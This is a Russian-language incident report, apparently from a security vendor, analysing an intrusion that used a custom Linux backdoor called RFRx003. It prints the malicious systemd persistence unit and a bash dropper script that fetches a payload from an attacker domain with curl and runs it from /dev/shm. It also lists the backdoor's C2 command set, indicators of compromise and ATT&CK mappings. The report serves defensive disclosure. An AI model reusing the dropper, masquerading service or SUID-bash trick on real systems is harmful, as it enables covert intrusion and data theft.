Летом 2026 года неизвестные атакующие смогли получить доступ к инфраструктуре компании и закрепиться внутри нее. При атаке использовалось ранее неизвестное кастомное вредоносное ПО класса backdoor, которое позволяло атакующим строить туннели для попыток скрытого бокового перемещения.
Ключевые выводы
- Летом 2026 года мы расследовали инцидент, в котором атакующие оставались незамеченными в инфраструктуре организации несколько месяцев.
- Точкой входа стал сервис на периметре: эксплуатация свежей на тот момент RCE-уязвимости предоставила атакующим выполнение кода от имени системы с последующим повышением привилегий.
- Для закрепления использовался сервис timesync.service, маскирующийся под штатный демон синхронизации времени, а впоследствии — задание cron от имени root.
- Ключевым инструментом бокового перемещения стал неизвестный ранее бэкдор RFRx003. Он поддерживает два транспортных канала: HTTPS и WSS — и реализует полноценный набор команд для разведки, файловой работы, туннелирования трафика через SOCKS5 и запуска интерактивной оболочки через PTY.
- Дополнительный дроппер — shell-скрипт pkgmgr — скачивал второй экземпляр бэкдора из инфраструктуры атакующих, используя в качестве имени файла package.json для маскировки под пакет npm.
- Для получения root-доступа был размещен исполняемый файл bash с выставленным SUID-битом.
- Атакующие использовали бэкдор для построения SOCKS5-туннелей, через которые осуществляли боковое перемещение и в конечном счете похитили данные почтовых ящиков сотрудников.
Обзор инцидента
Летом 2026 года к нам обратился заказчик из IT-сектора за помощью в расследовании инцидента: в организации были обнаружены успешные входы во внешние веб-сервисы с нетипичных IP-адресов, а также подозрительных User Agent. Примечательно, что у атакующих уже были учетные данные для входа. При этом в журналах не было обнаружено следов подбора паролей.
Внутреннее расследование заказчика показало, что незадолго до этого была скомпрометирована учетная запись действующего сотрудника с последующей эксфильтрацией данных почтового ящика, также в одной из внутренних информационных систем были обнаружены нелегитимный ssh-ключ и подозрительный процесс.
В результате проведения углубленного анализа было установлено, что атакующие оказались в инфраструктуре несколькими месяцами ранее в результате компрометации одного из сервисов на периметре с помощью свежей на тот момент уязвимости, позволившей атакующим удаленно выполнять вредоносный код от имени системы и повысить свои привилегии.
После эксплуатации уязвимости атакующие разместили в системе вредоносное ПО RFRx003 класса Backdoor по пути
/etc/time, а также закрепили его с помощью сервиса /etc/systemd/system/timesync.service, описание сервиса имитирует
штатный NTP-демон systemd-timesyncd:
[Unit]
Description=Provides a time synchronization service
After=network-online.target
Requires=network-online.target
[Service]
ExecStart=/etc/time
Type=forking
KillMode=control-group
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
Спустя несколько месяцев в зараженной системе были обнаружены следы активности
атакующих: был создан исполняемый файл bash /usr/bin/zdumd с установленным SUID-битом (позволяет получить привилегии
root любому пользователю системы). Тогда же атакующие разместили в системе скрипт /usr/bin/pkgmgr, представляющий
собой вредоносное ПО класса dropper:
#!/bin/bash
if curl -fsk hxxps[:]//v32738123193.upd.baselinux.net:8443/package.json --retry 2 --retry-delay 5 --connect-timeout 10 --output /dev/shm/packagemgr; then
cd /dev/shm
chmod +x ./packagemgr
PATH=.:$PATH ./packagemgr &
fi
При этом выбор /dev/shm как директории исполнения — один из ключевых индикаторов вредоносности. /dev/shm — это tmpfs
(RAM-диск): записанные туда файлы не попадают на диск, а содержатся исключительно в памяти, что обходит ряд средств
мониторинга файловой системы и затрудняет расследование. Кроме того, после перезагрузки содержимое /dev/shm
стирается, что практически безвозвратно уничтожает следы.
При этом dropper был закреплен в системе с помощью файла cron /var/spool/cron/crontabs/root.
Ближе к датам обнаружения инцидента, атакующие разместили несколько одинаковых экземпляров Backdoor по разным путям:
/tmp/.X11-unix/confs;/etc/vtrgbs;/etc/time (размещен повторно);
которые использовались для построения прокси-туннелей для бокового перемещения по инфраструктуре.
RFRx003
RFRx003 представляет собой компактный, профессионально написанный бэкдор для пивотинга в linux-инфраструктуре. Его архитектурные решения свидетельствуют о целенаправленной разработке инструмента, рассчитанного на длительное и скрытное присутствие в сети жертвы.
При запуске бэкдор считывает встроенный конфигурационный блок, закодированный в Base64. Декодированная структура имеет длину 72 байта. Конфигурация имеет следующую структуру:
struct RFRx003_config {
char hostname[32]; // C2
char path[32]; // эндпойнт основного канала
uint16_t port; // HTTPS/WSS порт
uint16_t reserved; // зарезервировано, всегда 0x0000
uint8_t jitter; // случайная задержка перед повторным подключением в секундах
uint8_t pad[3]; // выравнивание
};
RFRx003 использует Mongoose — встраиваемый событийно-ориентированный C-фреймворк для HTTP/WebSocket. Поверх Mongoose реализованы два транспортных режима. Основной — HTTP и дополнительный — WSS.
Все сообщения C2 передаются как HTTP-запросы к эндпойнту основного канала. В исследуемом образце это /api/v1/gateway.
Каждый запрос содержит следующие заголовки:
User-Agent: curl/7.86.0
Content-Type: application/octet-stream
DNT: 1
User-Agent curl/7.86.0 имитирует утилиту командной строки. TLS реализован через встроенный mbedTLS.
Все сообщения между имплантом и C2 имеют бинарный формат с заголовком фиксированной длины 8 байт:
struct msg_header {
uint32_t command_id; // идентификатор команды (little-endian)
uint32_t session_id; // идентификатор сессии (little-endian)
// далее следует полезная нагрузка
};
Бэкдор имеет полноценный набор из 16 команд для разведки, файловой работы, туннелирования трафика через SOCKS5 и запуска интерактивной оболочки через PTY.
| ID команды | Описание |
|---|---|
| 0x5001 | Запрос имени хоста (gethostname) |
| 0x5003 | Запрос имени процесса (/proc/self/comm или prctl) |
| 0x5004 | Краткий uname: sysname, nodename, release |
| 0x5005 | Расширенный uname: полная структура struct utsname |
| 0x5008 | Чтение произвольного файла (включая /proc/* и именованные каналы) |
| 0x5009 | Листинг директории (имя, размер, uid, mtime, ctime) |
| 0x500A | Смена рабочей директории (chdir); возвращает 200 или 400 |
| 0x500D | Открыть вспомогательный WSS-канал для интерактивного взаимодействия |
| 0x500E | Передать блок данных через SOCKS5-туннель |
| 0x5010 | Ping (ответ пустой 0x5010-пакет) |
| 0x5020 | Исполнить команду в bash; если PTY не открыт, инициализирует PTY |
| 0x5021 | Установить SOCKS5-туннель (по IP или домену; DNS — 8.8.8.8) |
| 0x5030 | Открыть интерактивную bash-сессию с ключом -i через PTY (с параметрами терминала) |
| 0x5031 | Уведомление о размере скачиваемого файла |
| 0x5040 | Скачать файл: GET /users/avatars?id=<file_id> |
| 0x5041 | Отправить файл: POST /api/v1/upload |
По команде 0x500D открывается вспомогательное WebSocket-соединение с тем же C2-хостом. Этот канал используется для интерактивной работы (PTY-шелл, SOCKS5-туннель). В HTTPS-режиме имплант искусственно вводит задержку 10 секунд перед открытием этого канала, что может использоваться для сокрытия своих запросов среди других.
При получении команды 0x5030 (или 0x5020, если PTY еще не открыт) бэкдор создает интерактивный bash-шелл через
псевдотерминал. При этом он устанавливает HISTFILE в пустую строку, чем предотвращает запись истории bash в
~/.bash_history. Опция -i запускает bash в интерактивном режиме. Команда 0x5020 осуществляет запись данных в
master-fd PTY, что транслируется в стандартный ввод bash.
Команда 0x5021 инициализирует SOCKS5-туннель. Бэкдор реализует разбор заголовка SOCKS5 CONNECT:
- ATYP = 0x01 (IPv4): извлекает 4 байта адреса, форматирует IP-адрес в строку и подключается напрямую.
- ATYP = 0x03 (доменное имя): извлекает длину и имя хоста, резолвит через udp://8.8.8.8:53 (Google Public DNS, захардкожен в коде Mongoose) и подключается к полученному IP.
Туннельное TCP-соединение обертывается в WSS-поток (тип контекста 2), что снимает с него задержку в 10 секунд.
Команда 0x500E передает блоки данных через установленный туннель.
Для загрузки файлов на C2 используется команда 0x5041. Она отправляет пост-запрос на эндпойнт /api/v1/upload с
параметром Range, который указывает на смещение в файле и обеспечивает возможность возобновления передачи с
произвольного смещения.
Для скачивания файла с C2 используется команда 0x5040, которая использует эндпойнт /users/avatars?id=<file_id>
и имитирует запрос аватара пользователя, маскируя загрузку инструментов под легитимный веб-трафик.
Заключение
В результате эксплуатации RCE-уязвимости атакующие получили плацдарм в инфраструктуре организации и совершали попытки планомерного наращивания присутствия, собирая учетные данные и выстраивая каналы бокового перемещения.
Примененные техники — маскировка под системный NTP-сервис, исполнение полезной нагрузки из /dev/shm, использование
SUID-bash для тихого повышения привилегий, загрузка бэкдора под именем package.json — отражают наличие у атакующих
опыта работы с linux-инфраструктурой и понимание типичных слепых зон корпоративных средств защиты.
Инструментарий кампании не совпадает с ранее описанными публично наборами вредоносного ПО. RFRx003 является кастомно разработанным имплантатом с профессиональной архитектурой. Мы продолжаем отслеживать данную активность и рекомендуем организациям проверить свои системы на наличие описанных в этой статье индикаторов компрометации.
IOC
Files
MD5
2c4e238da1f6293f3a58d9b1b54b5f9f (RFRx003)
2b255e5ab646352cdde7630e5aae145e (RFRx003)
7797a72112b79332ff279b8bceeb671b (сервис-загрузчик)
SHA1
0254de8d244077c88aad04568d92edae38f3fbbc (RFRx003)
435ba7ebb7b5c7c865f92ec1b71403f719c551a0 (RFRx003)
71ae6c5a51ac01b7e92fda9b7a26debd6e453a93 (сервис-загрузчик)
SHA256
fbb6a011c382e78e8d74ab62af2b16b88fae435029dff5652570d92e4eb52554 (RFRx003)
6bd9a1819550861ae65bae89a2f8ba6c932812a58c9bb482cf1e9dbe3ec0c28b (RFRx003)
942137727eb02afcf4c60abeb40b65874545983be12bb22886d1a67c0f8ea6f5 (сервис-загрузчик)
Domain
aldline[.]com
v32738123193.upd.baselinux[.]net
MITRE ATT&CK
| Тактика | ID | Техника | Процедура |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Эксплуатация RCE-уязвимости в сервисе на периметре |
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | Уязвимость позволила повысить привилегии до system |
| T1548.001 | Abuse Elevation Control Mechanism: Setuid and Setgid | Получение root через /usr/bin/zdumd — bash с SUID |
|
| Persistence | T1543.002 | Create or Modify System Process: Systemd Service | Был создан системный сервис timesync.service, который запускал /etc/time при старте системы |
| T1053.003 | Scheduled Task/Job: Cron | Дроппер pkgmgr был закреплен в /var/spool/cron/crontabs/root |
|
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | Загружаемый ELF-файл назван package.json |
| T1036.004 | Masquerading: Masquerade Task or Service | Созданный системный сервис timesync.service маскировался описанием под NTP-демон |
|
| T1562.001 | Impair Defenses | Исполнение из /dev/shm (tmpfs) обходит ряд средств файлового мониторинга |
|
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Дроппер pkgmgr — bash-скрипт; RFRx003 использует bash PTY |
| Command & Control | T1071.001 | Application Layer Protocol: Web Protocols | HTTPS/WSS-канал RFRx003 к www[.]aldline[.]com |
| T1008 | Fallback Channels | WSS как резервный интерактивный канал при основном HTTPS | |
| T1090.001 | Proxy: Internal Proxy | SOCKS5-туннель поверх WSS для бокового перемещения | |
| T1105 | Ingress Tool Transfer | Дроппер загружает бэкдор: команда 0x5040 RFRx003 для загрузки произвольных файлов | |
| Discovery | T1082 | System Information Discovery | Команды 0x5004 / 0x5005 RFRx003: получение uname |
| T1083 | File and Directory Discovery | Команда 0x5009 RFRx003: листинг директорий | |
| Collection | T1005 | Data from Local System | Команда 0x5008 RFRx003: чтение файлов, в т. ч. /proc/* |
| T1114 | Email Collection | Эксфильтрация данных почтовых ящиков через скомпрометированный VPN | |
| Lateral Movement | T1021 | Remote Services | PTY bash-сессии; SOCKS5-пивотинг через RFRx003 |
| Credential Access | T1078 | Valid Accounts | Использование скомпрометированных VPN-учетных данных |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | Команда 0x5041 RFRx003: POST-загрузка файлов на C2 |
































































